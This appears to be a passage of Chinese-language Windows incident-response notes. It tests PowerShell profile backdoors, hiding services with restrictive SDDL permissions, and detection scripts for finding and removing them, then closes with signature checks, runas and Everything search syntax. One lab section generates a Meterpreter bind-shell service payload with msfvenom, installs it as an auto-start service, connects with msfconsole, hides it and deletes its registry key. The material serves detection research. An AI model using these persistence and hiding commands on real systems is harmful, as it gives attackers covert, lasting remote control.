  • 当前用户,当前主机 - $PROFILE.CurrentUserCurrentHost
  • 当前用户,所有主机 - $PROFILE.CurrentUserAllHosts
  • 所有用户,当前主机 - $PROFILE.AllUsersCurrentHost
  • 所有用户,所有主机 - $PROFILE.AllUsersAllHosts

由于每个用户和每个主机应用程序中 $PROFILE 变量的值发生更改,因此请确保在所使用的每个 PowerShell 主机应用程序中显示配置文件变量的值。

若要查看 $PROFILE 变量的当前值,请键入:

PowerShell

$PROFILE | Select-Object *

image-20240106201709396

AllUsersAllHosts       : C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
AllUsersCurrentHost    : C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
CurrentUserAllHosts    : C:\Users\Administrator\Documents\WindowsPowerShell\profile.ps1
CurrentUserCurrentHost : C:\Users\Administrator\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

这些配置文件中都可以类似 Bash 配置文件一样,在其中放置后门程序

image-20240106202253118

默认情况下都不存在这些文件

接下来进行试验

创建 C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 输出字符 I am a Backdoor

Write-Host "I am a Backdoor"

image-20240106203301542

cmd 中输入 Powershell 进入 Powershell

image-20240106203440905

创建 C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1

输出字符 I am the second Backdoor

image-20240106203713641

Powershell 中输入 Powershell 进入新的 Powershell

image-20240106203829181

创建 C:\Users\Administrator\Documents\WindowsPowerShell\profile.ps1

输出 I am the third Backdoor

发现连 WindowsPowerShell 这个目录都没有,创建目录及文件

image-20240106204040006

image-20240106204205027

Powershell 中输入 Powershell 进入新的 Powershell

image-20240106204244124

创建 C:\Users\Administrator\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

输出 I am the fourth Backdoor

刚才已经创建了目录,现在直接创建文件了

image-20240106205232263

Powershell 中输入 Powershell 进入新的 Powershell

image-20240106205329746

这四个配置文件均可正常使用

尝试重启电脑,再次进入 Powershell

image-20240106205452985

仍然有效

现在有一个疑问,如果不是进入 Powershell 控制台,直接执行正常的 Powershell 脚本会执行吗

编写一个向控制台输出 Hello World 的脚本,同时弹出消息框的脚本 demo.ps1

Write-Host "Hello World"

# 弹出一个消息框
Add-Type -AssemblyName PresentationFramework 
[System.Windows.MessageBox]::Show("Hello, World!")

在第一个后门文件中额外插入Powershell 代码,将 I am a Backdoor 写入到桌面的 backdoor.txt

image-20240106212220640

先是在 cmd 中进行测试

Powershell ./demo.ps1

image-20240106212322555

image-20240106212420248

删除 backdoor.txt 图形化右键执行 demo.ps1

image-20240106212554698

image-20240106212620989

image-20240106212642474

也就是说这类后门对所有的 Powershell 程序有效

0x12 服务隐藏与排查

这部分主要指通过配置访问控制策略来实现隐藏的方式,通过修改内存链表的方式隐藏暂时不包含

1. 创建服务

直接选择默认的 XblGameSave 服务,这个服务为 Xbox Live 可保存游戏同步保存数据。如果此服务被停止,游戏保存数据将不会上传至 Xbox Live 或从 Xbox Live 下载。

image-20240107213741122

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\XblGameSave

image-20240107221500226

sc qc XblGameSave

image-20240107213930768

image-20240107214007448

2. 查询服务权限设置

sc sdshow "XblGameSave"

image-20240107214059630

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

这是一段 安全描述符定义语言(Security Descriptor Definition Language | SDDL

具体含义可以参考

https://learn.microsoft.com/zh-cn/windows/win32/secauthz/security-descriptor-string-format

https://learn.microsoft.com/zh-cn/windows/win32/secauthz/ace-strings

https://learn.microsoft.com/zh-cn/windows/win32/services/service-security-and-access-rights

可以通过一些 SDDL 解析工具进行查看

https://github.com/canix1/SDDL-Converter

是一个 Powershell 脚本,右键执行

image-20240107223336954

SDDL 放到其中进行解析

image-20240107223416275

这样看起来比较直观

3. 修改服务权限设置

sc sdset "XblGameSave" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

image-20240107215030642

image-20240107223502149

4. 测试隐藏效果

1) services.msc

image-20240107215519477

2) sc
sc queryex | findstr "XblGameSave"
sc query "XblGameSave"

image-20240107215824447

可以看到,常规检查的时候,无法直接看到 XblGameSave

通过 sc query 指定名称查找显示的是 拒绝访问

通过 sc qc 指定名称查找能够显示出正常内容

如果常规方式看不到,应急响应人员也无法知晓该活动的名称,也就无法查询到

3) PowerShell
Get-Service | findstr "XblGameSave"
Get-Service -Name "XblGameSave"

image-20240107220346678

指定名称查询都显示找不到任何服务

4) wmic
wmic service | findstr "XblGameSave"
wmic service where "Name='XblGameSave'" get Name, DisplayName, Description

image-20240107220612344

5) System Informer

https://systeminformer.sourceforge.io/

Process Hacker 的升级版

image-20240107220853707

也看不到

6) 注册表

image-20240107221116348

可以看到,注册表能够看到该服务,此时注册表多了一项 Security

image-20240107221919910

但是不只这一个注册表有 Security ,所以也不好粗暴地作为评判依据

5. 思考排查方法

方法一 枚举法

按照计划任务隐藏时候的思路,先看一下 sc query 查询不存在的服务时报错是什么

image-20240107224032491

这里就可以看出区别,当然,完全可以用 sc qc 查询做对比,可能更好

这样的话,可以将注册表遍历一遍,之后获取服务名称,挨个查询,看看有没有拒绝访问的,这样就可以测试出是否存在隐藏的服务。当然,这前提是注册表有访问权限,如果攻击者额外设置了注册表权限,可以先取消注册表权限

方法二 高权限查看法

这种隐藏方式无非就是谁可以看,谁不可以看,在 Linux 中,几乎所有的限制对 root 都没用,我们分析一下刚才的权限设置

image-20240107223502149

这里似乎对 SYSTEM 并没有限制,那我们使用 SYSTEM 权限执行这些常规检查是否可以看到呢

6. 枚举法

思路就是先获取注册表中服务名称,之后通过 sc query 进行查询,根据反馈进行判断

$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }

$maliciousServices = foreach ($service in $services) {
    $queryOutput = sc.exe query $service 2>&1

    if ($queryOutput -like "*拒绝访问*") {
        $configOutput = sc.exe qc $service

        [PSCustomObject]@{
            ServiceName = $service
            Status = "拒绝访问"
            Config = $configOutput
        }
    }
}

if ($maliciousServices) {
    Write-Host "发现以下恶意服务:"
    $maliciousServices | Format-Table -AutoSize -Property ServiceName, Status

    foreach ($service in $maliciousServices) {
        Write-Host "--------------------------------------------------"
        Write-Host "Service Name: $($service.ServiceName)"
        Write-Host "Status: $($service.Status)"
        Write-Host "Service Config:"
        $configLines = $service.Config -split "`n"
        $configLines | ForEach-Object {
            $configLine = $_.Trim()
            if ($configLine -ne "" -and $configLine -notlike "[*]*") {
                Write-Host $configLine
            }
        }
        Write-Host "--------------------------------------------------"
    }
} else {
    Write-Host "未发现恶意服务."
}

image-20240107230544653

当然了,这是美化后的,如果你想简单一些,直接用下面的几行就够了

$services = Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" | ForEach-Object { $_.PSChildName }

foreach ($service in $services) {
    $queryOutput = sc.exe query $service 2>&1

    if ($queryOutput -like "*拒绝访问*") {
        Write-Output $service
    }
}

image-20240107230655908

7. 高权限法

通过 PsExec64.exe 来获取 SYSTEM 权限

PsExec64.exeSysinternalsSuite 套件中一款工具

https://learn.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite

PsExec64.exe -i -s cmd

image-20240107231102125

PsExec 似乎会导致输入法部分功能出现问题

尝试通过 SYSTEM 权限的 cmd 进行查询

sc queryex | findstr "XblGameSave"

image-20240107231639111

sc 看不到隐藏的服务

尝试通过 SYSTEM 启动 services.msc

image-20240107233102425

services.msc 看不到

image-20240107233156986

Powershell 看不到

image-20240107233254017

wmic 看不到

创建低权限的用户组和新用户也不行

看来高权限法不行

8. 删除服务

经过枚举法,已经获取到服务名称,现在通过 sc sdset 设置权限

sc sdset "XblGameSave" "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

image-20240107234022985

image-20240107234123002

这样就可以通过 services.msc 进行管理了

image-20240107234335687

删除服务

sc delete "ServiceName"

9. 如果删除注册表文件夹会怎么样

1) 创建服务

这次使用 msf 生成一个服务木马来模拟服务

msfvenom -p windows/meterpreter/bind_tcp lport=4455 -f exe-service -o bind.exe

注意,这里指定的文件类型是 exe-serviceMSF 专门为服务准备的一类木马,中文资料上提到这个事极少

2) 创建服务
sc create test binPath= "C:\Users\Administrator\Desktop\bind.exe" start= auto depend= Tcpip obj= Localsystem

创建一个名为 test 的服务,开机自启动执行木马程序,监听 4455 端口

image-20240108143702953

启动服务测试一下

sc start test

image-20240108143920944

3) MSF 连接木马
msfconsole -q 
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set rhost 10.211.55.6
set lport 4455
exploit

image-20240108144004362

服务已经正常启动,关闭连接,重启受害服务器,无用户登录状态下再次尝试连接

image-20240108144142201

image-20240108144220025

再次获取 shell,服务自启动没问题

4) 观察 MSF 服务情况

再次重启服务器,登录后查看服务信息如下

image-20240108144919124

从服务来看 test 服务已经停止了

从进程角度来看

image-20240108145227554

没有主动监听shell 相关进程

通过 MSF 进行连接

image-20240108145324394

服务监听是存在的

从网络层面看

image-20240108145428499

可以看到 MSF 与受害主机之间的连接

image-20240108145742184

通过 wmic 查看详细情况

wmic process where ProcessId=2216 get Name, ExecutablePath, CommandLine /format:list

image-20240108145846943

这样看来 exe-service 生成的是一个 dll 文件

image-20240108150338187

5) 通过 SDDL 设置隐藏服务
sc sdset "test" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

image-20240108150626291

image-20240108150725060

此时已经 Services.msc 已经看不到 test 服务了,这个上面我们已经测试过了

image-20240108151909316

获得的 shell 不受影响

6) 尝试删除注册表项

image-20240108152605789

尝试在 Meterpreter 中远程完成删除

reg deletekey -k "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\test"

image-20240108152646161

image-20240108152712578

注册表项成功被删除,这下我们原来的脚本应该也查不到隐藏的服务了

image-20240108152917775

image-20240108153013996

服务不受影响,这个看了上一篇文章的朋友们肯定有预期了,修改注册表对服务来说会在下次启动的时候才会有作用

image-20240108175119631

image-20240108174842225

  • sc qc 进行查询显示找不到指定的文件

  • sc query 显示还是拒绝访问

尝试重启服务器

image-20240108153329413

image-20240108153351142

服务已经不存在了

10. 思考排查方法

一般攻击者使用服务都是做持久化控制的,删掉注册表来对抗隐藏不是常规的思路,但是毕竟大家面对的也不是一群常规的人,如果真的是出现了这种奇葩,该如何进行检测呢?

注册表已经没了,现在还保存着服务列表信息的就只有内存里了吧

1) 进程角度

服务终究还是会产生一个或多个进程,按照它要实现的功能在内存空间执行,这就属于常规角度了

当然,可以把 Rundll32.exe 作为一个标志,很多安全软件也是这么做的,但是它的启动参数没有指定恶意 DLL 位置,而且感觉不太严谨

2) 日志查询

通过日志 Windows 日志 -> 系统

image-20240108160747810

其中来源为 Service Control Manager 的日志会记录服务的创建与执行

3) Windows API

如果 Windows API

#include <iostream>
#include <windows.h>
#include <winsvc.h>

int main()
{
    SC_HANDLE schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
    if (schSCManager == NULL)
    {
        std::cout << "Failed to open Service Control Manager." << std::endl;
        return 1;
    }

    DWORD dwBytesNeeded, dwServicesReturned, dwResumeHandle = 0;
    EnumServicesStatusEx(
        schSCManager,
        SC_ENUM_PROCESS_INFO,
        SERVICE_TYPE_ALL,
        SERVICE_STATE_ALL,
        NULL,
        0,
        &dwBytesNeeded,
        &dwServicesReturned,
        &dwResumeHandle,
        NULL
    );

    LPENUM_SERVICE_STATUS_PROCESS lpServices = (LPENUM_SERVICE_STATUS_PROCESS)malloc(dwBytesNeeded);
    if (lpServices == NULL)
    {
        std::cout << "Failed to allocate memory." << std::endl;
        CloseServiceHandle(schSCManager);
        return 1;
    }

    if (!EnumServicesStatusEx(
        schSCManager,
        SC_ENUM_PROCESS_INFO,
        SERVICE_TYPE_ALL,
        SERVICE_STATE_ALL,
        (LPBYTE)lpServices,
        dwBytesNeeded,
        &dwBytesNeeded,
        &dwServicesReturned,
        &dwResumeHandle,
        NULL
    ))
    {
        std::cout << "Failed to enumerate services." << std::endl;
        free(lpServices);
        CloseServiceHandle(schSCManager);
        return 1;
    }

    std::cout << "Services:" << std::endl;
    for (DWORD i = 0; i < dwServicesReturned; i++)
    {
        std::wstring serviceName(lpServices[i].lpServiceName);
        std::wcout << serviceName << std::endl;
    }

    free(lpServices);
    CloseServiceHandle(schSCManager);

    return 0;
}

经过实验, Windows API 获取不到,即使是 SYSTEM 权限也查询不到

4) sc

sc 的命令报错意味着其实 sc 是可以知道 test 的存在的

但是这里有个问题

  • 一种情况是 sc 能够获取到服务列表,之后查询 test 是否存在
  • 一种情况是 sc 获取不到服务列表,但是可以将服务名称提交,之后返回信息

如果是第一种情况的话,我们可以直接获取到列表,如果是第二种情况,我们只能暴力枚举

由于 Windows 并不开源,我们无法直接知道 sc 到底是怎么做的

5) 通过内存获取

查阅一些资料后得知,服务信息应该归 SCM 来管,具体落到进程上就是 services.exe

image-20240108203326804

但是经过一堆尝试,并没有找到好的方式来从内存中获取服务列表信息

11. 删除服务

只通过 SDDL 进行隐藏的服务恶意直接按照文中的方法,重新赋权,就可以删除或停止了

对于进行了 SDDL 同时删除了注册表项的服务,需要通过重启来进行删除

0x13 如何验证程序签名

1. 文件属性对话框

image-20240111231034977

image-20240111231139761

2. PoweShell

Get-AuthenticodeSignature "C:\Path\To\File.exe"

image-20240111231344649

3. Sigcheck

Sigcheck 由微软Sysinternals套件提供,这是一个命令行实用程序,用于显示PE文件(如EXE、DLL、SYS等)的详细信息,包括其数字签名状态。下载地址:https://docs.microsoft.com/sysinternals/downloads/sigcheck

sigcheck.exe "C:\Path\To\File.exe"

image-20240111231810612

0x14 如何以其他用户执行命令

在Windows Server 2016中,没有与Linux的su命令完全等价的功能。不过,Windows提供了几种方式来切换用户或获取其他用户的权限执行任务

但是这里有一个明显区别: Windows 中 runas 命令即使是system权限切换到普通用户也需要输入普通用户的密码

Runas 命令

runas 是Windows内置的一个命令行工具,可以用来以另一个用户的身份运行程序。例如:

runas /user:另一用户名 "program.exe"

这会提示输入所指定用户的密码,然后以该用户身份运行指定的程序。

0x15 Everything 语法

操作符: 
    space   与 (AND)
    |   或 (OR)
    !   非 (NOT)
    < > 分组
    " " 搜索引号内的词组.

通配符: 
    *   匹配 0 个或多个字符.
    ?   匹配 1 个字符.

宏: 
    quot:   双引号 (")
    apos:   单引号 (')
    amp:    与号 (&)
    lt: 小于 (<)
    gt: 大于 (>)
    #<n>:   十进制 Unicode 字符 <n>.
    #x<n>:  十六进制 Unicode 字符 <n>.
    audio:  搜索音频文件.
    zip:    搜索压缩文件.
    doc:    搜索文档文件.
    exe:    搜索可执行文件.
    pic:    搜索图片文件.
    video:  搜索视频文件.

修饰符: 
    ascii:  启用快速 ASCII 大小写对比.
    case:   区分大小写.
    diacritics: 匹配变音标记.
    file:   仅匹配文件.
    folder: 仅匹配文件夹.
    noascii:    禁用快速 ASCII 大小写对比.
    nocase: 不区分大小写.
    nodiacritics:   不匹配变音标记.
    nofileonly: 仅不允许文件.
    nofolderonly:   仅不允许文件夹.
    nopath: 不匹配路径.
    noregex:    禁用正则表达式.
    nowfn:  不匹配完整文件名.
    nowholefilename:    不匹配完整文件名.
    nowholeword:    仅禁用全字匹配.
    nowildcards:    禁用通配符.
    noww:   仅禁用全字匹配.
    path:   匹配路径和文件名.
    regex:  启用正则表达式.
    utf8:   禁用快速 ASCII 大小写对比.
    wfn:    匹配完整文件名.
    wholefilename:  匹配完整文件名.
    wholeword:  仅匹配全字符.
    wildcards:  启用通配符.
    ww: 仅全字匹配.

函数: 
    album:<text>    搜索媒体专辑元数据.
    ansicontent:<text>  搜索 ANSI 格式文本内容.
    artist:<text>   搜索媒体艺术家元数据.
    attrib:<attributes> 搜索指定的文件属性的文件和文件夹.
    attribdupe: 搜索含有相同属性的文件和文件夹.
    attributes:<attributes> 搜索指定的文件属性的文件和文件夹.
    bitdepth:<bitdepth> 搜索指定像素密度的图片.
    child:<filename>    搜索包含匹配文件名文件的文件夹.
    childcount:<count>  搜索包含有指定数目子文件夹或文件的文件夹.
    childfilecount:<count>  搜索包含有指定数目文件的文件夹.
    childfoldercount:<n>    搜索包含有指定数目子文件的文件夹.
    comment:<text>  搜索媒体注释元数据.
    content:<text>  搜索文本内容.
    count:<max> 指定搜索结果最大值.
    dateaccessed:<date> 搜索指定访问时间的文件和文件夹.
    datecreated:<date>  搜索指定创建日期的文件和文件夹.
    datemodified:<date> 搜索指定修改日期的文件和文件夹.
    daterun:<date>  搜索指定打开时间的文件和文件夹.
    da:<date>   搜索指定访问时间的文件和文件夹.
    dadupe: 搜索含有相同访问时间的文件和文件夹.
    dc:<date>   搜索指定创建日期的文件和文件夹.
    dcdupe: 搜索含有相同创建时间的文件和文件夹.
    dimensions:<w>X<h>  搜索指定长宽的图片.
    dm:<date>   搜索指定修改日期的文件和文件夹.
    dmdupe: 搜索含有相同修改时间的文件和文件夹.
    dr:<date>   搜索指定打开时间的文件和文件夹.
    dupe:   搜索重复的文件名.
    empty:  搜索空文件夹.
    endwith:<text>  搜索以指定文本结尾的文件 (包含扩展名).
    ext:<ext1;ext2;...> 搜索和列表中指定的扩展名匹配的文件 (扩展名以分号分隔).
    filelist:<fn1|fn2|...>  搜索文件名列表中的文件.
    filelistfilename:<name> 搜索文件名列表中的文件和文件夹.
    frn:<frn>   搜索指定文件索引号的文件和文件夹.
    fsi:<index> 搜索指定盘符索引中文件或文件夹 (索引 0 表示 C 盘, 以此类推).
    genre:<text>    搜索媒体流派元数据.
    height:<height> 搜索指定像素高度的图片.
    infolder:<path> 搜索指定路径下的文件和文件夹 (不包含子文件夹).
    len:<length>    搜索和指定的文件名长度相匹配的文件和文件夹.
    namepartdupe:   搜索含有相同名称部分的文件和文件夹.
    orientation:<type>  搜索指定方向的图片 (水平或竖直).
    parent:<path>   搜索指定路径下的文件和文件夹 (不包含子文件夹).
    parents:<count> 搜索有指定数目父文件夹的文件和文件夹.
    rc:<date>   搜索指定最近修改日期的文件和文件夹.
    recentchange:<date> 搜索指定最近修改日期的文件和文件夹.
    root:   搜索没有父文件夹的文件和文件夹.
    runcount:<count>    搜索指定打开次数的文件和文件夹.
    shell:<name>    搜索已知的 Shell 文件夹名称, 包括子目录和文件.
    size:<size> 搜索指定大小的文件 (以字节为单位).
    sizedupe:   搜索大小重复的文件.
    startwith:<text>    搜索指定文本开头的文件.
    title:<text>    搜索媒体标题元数据.
    track:<number>  搜索指定音轨号的媒体文件.
    type:<type> 搜索指定的文件类型的文件和文件夹.
    utf16content:<text> 搜索 UTF-16 格式文本内容.
    utf16becontent:<text>   搜索 UTF-16 BE 格式文本内容.
    utf8content:<text>  搜索 UTF-8 格式文本内容.
    width:<width>   搜索指定像素宽度的图片.

函数语法: 
    function:value  等于某设定值.
    function:<=value    小于等于某设定值.
    function:<value 小于某设定值.
    function:=value 等于某设定值.
    function:>value 大于某设定值.
    function:>=value    大于等于某设定值.
    function:start..end 在起始值和终止值的范围内.
    function:start-end  在起始值和终止值的范围内.

大小语法: 
    size[kb|mb|gb]

大小常数: 
    empty
    tiny    0 KB < 大小 <= 10 KB
    small   10 KB < 大小 <= 100 KB
    medium  100 KB < 大小 <= 1 MB
    large   1 MB < 大小 <= 16 MB
    huge    16 MB < 大小 <= 128 MB
    gigantic    大小 > 128 MB
    unknown

日期语法: 
    year
    month/year 或者 year/month 取决于本地设置
    day/month/year, month/day/year 或者 year/month/day 取决于本地设置
    YYYY[-MM[-DD[Thh[:mm[:ss[.sss]]]]]]
    YYYYMM[DD[Thh[mm[ss[.sss]]]]]

日期常数: 
    today
    yesterday
    tomorrow
    <last|past|prev|current|this|coming|next><year|month|week>
    <last|past|prev|coming|next><x><years|months|weeks|days|hours|minutes|mins|seconds|secs>
    january|february|march|april|may|june|july|august|september|october|november|december
    jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec
    sunday|monday|tuesday|wednesday|thursday|friday|saturday
    sun|mon|tue|wed|thu|fri|sat
    unknown

属性常数: 
    A   存档
    C   压缩
    D   目录
    E   加密
    H   隐藏
    I   未索引的内容
    L   重解析点
    N   一般
    O   离线
    P   稀疏文件
    R   只读
    S   系统
    T   临时
    V   设备